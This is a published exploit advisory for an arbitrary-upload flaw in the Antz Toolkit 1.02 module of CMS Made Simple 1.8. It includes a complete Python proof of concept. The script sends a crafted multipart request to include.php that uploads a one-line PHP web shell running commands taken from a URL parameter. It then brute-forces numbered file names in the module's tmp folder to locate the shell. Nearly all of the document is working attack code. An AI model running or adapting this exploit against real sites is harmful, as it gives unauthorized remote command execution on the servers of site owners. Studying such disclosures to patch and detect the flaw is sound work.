# ------------------------------------------------------------------------
# Software................CMS Made Simple 1.8 Antz Toolkit 1.02 Module
# Vulnerability...........Arbitrary Upload
# Download................http://code.google.com/p/antz-cmsms/
# Release Date............7/11/2010
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................John Leitch
# Site....................http://cross-site-scripting.blogspot.com/
# Email...................john.leitch5@gmail.com
# ------------------------------------------------------------------------
# 
# --Description--
# 
# An arbitrary upload vulnerability in CMS Made Simple 1.8 Antz Toolkit
# 1.02 Module can be exploited to upload a PHP shell.
# 
# 
# --PoC--

import socket

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/include.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 257\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="antzSeed"\r\n'
           '\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
           'Content-Type: application/octet-stream\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
           '------x--\r\n'
           '\r\n')

    resp = s.recv(8192)

    s.close()

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    print 'searching for shell'

    for i in range(0, 9999):

        shell_path = path + '/modules/antz/tmp/' + str(i) + 'shell.php'

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(8)   
    
        s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
               'Host: ' + host + '\r\n\r\n')

        if http_ok in s.recv(8192)[:len(http_ok)]:
            print '\r\nshell located at http://' + host + shell_path
            break
        else:
            print '.',

upload_shell()